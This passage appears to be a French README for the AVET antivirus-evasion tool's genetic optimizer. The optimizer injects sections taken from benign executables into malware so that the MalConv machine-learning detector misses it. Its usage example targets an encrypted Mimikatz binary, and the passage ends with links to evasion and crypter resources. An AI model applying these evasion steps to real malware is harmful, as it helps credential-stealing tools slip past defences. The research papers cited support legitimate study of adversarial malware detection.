Au lieu d'injecter du contenu aléatoire, il est possible d'optimiser le contenu pour obtenir une probabilité d'évasion plus élevée.
L'optimiseur extrait des sections bénignes de goodware et utilise un algorithme génétique pour optimiser le contenu injecté.
Le contenu est optimisé contre MalConv, un détecteur statique basé sur l'apprentissage automatique utilisant un réseau de neurones convolutif.
L'implémentation de MalConv utilisée provient de la bibliothèque [SecML Malware](https://github.com/pralab/secml_malware).

Des goodware sont nécessaires et doivent être placés dans le dossier `input/goodware_samples`.
Le [DikeDataset](https://github.com/iosifache/DikeDataset) par exemple est une bonne source pour obtenir des fichiers exécutables bénins. Plus il y en a, mieux c'est, mais 100 suffisent pour des tests.

Pour utiliser l'optimiseur, utilisez la commande `$genetic_optimizer` :```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe

Options possibles :``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection

root@kitploit:~
Plus d'informations sur les exemples adversariaux, l'optimisation génétique et MalConv peuvent être lues ici :
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)

## Plus
---

Pour les bases du contournement antivirus, AVET et plus d'informations, regardez ici (principalement pour la version 1.3) :
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)